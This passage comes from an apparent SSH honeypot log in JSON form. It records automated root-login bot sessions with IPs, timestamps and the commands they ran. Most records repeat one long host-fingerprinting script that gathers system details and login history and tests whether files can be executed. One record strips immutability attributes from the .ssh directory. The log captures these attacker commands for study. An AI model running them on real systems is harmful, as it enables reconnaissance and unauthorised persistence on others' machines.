2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:26:28.847160+00:00",
  "ended_at": "2026-08-26T15:26:28.987208+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7fc6a136-68f8-472d-a17e-f01bd88578f2",
  "name": "graceful-distant-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 36022,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:24:24.480105+00:00",
  "ended_at": "2026-08-26T15:24:24.584303+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "aa2b3bdb-41b1-40f7-a630-5bac28d1c9e3",
  "name": "rapid-bashful-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 33070,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:22:24.348249+00:00",
  "ended_at": "2026-08-26T15:22:24.454864+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "1532a5bf-4602-453b-aa5b-ccae9699776c",
  "name": "salty-sullen-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 58304,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:20:24.373040+00:00",
  "ended_at": "2026-08-26T15:20:24.506013+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7afe7d12-afbb-4a57-8d96-85692184fbfe",
  "name": "dewy-cobalt-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 55338,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:18:22.270073+00:00",
  "ended_at": "2026-08-26T15:18:22.416424+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "338f00e2-3321-4065-9466-5cc2ed26dbd6",
  "name": "wooded-bold-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 52348,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:16:25.325781+00:00",
  "ended_at": "2026-08-26T15:16:25.436262+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b05fffd6-bd3b-4081-9b32-54b45825126f",
  "name": "russet-cosmic-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 49384,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:14:33.434532+00:00",
  "ended_at": "2026-08-26T15:14:33.542286+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "cd14acdb-0532-4637-a57b-d4614e87e7b8",
  "name": "nimble-gritty-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40820,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 748,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:13:47.024035+00:00",
  "ended_at": "2026-08-26T15:13:48.740742+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "4eebb87b-a651-4f00-83e4-0b6124533e57",
  "name": "cheerful-solemn-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40822,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:13:24.742686+00:00",
  "ended_at": "2026-08-26T15:13:25.975533+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "36504de0-ef0e-4a45-a1e1-fea053cae182",
  "name": "windswept-amber-saola",
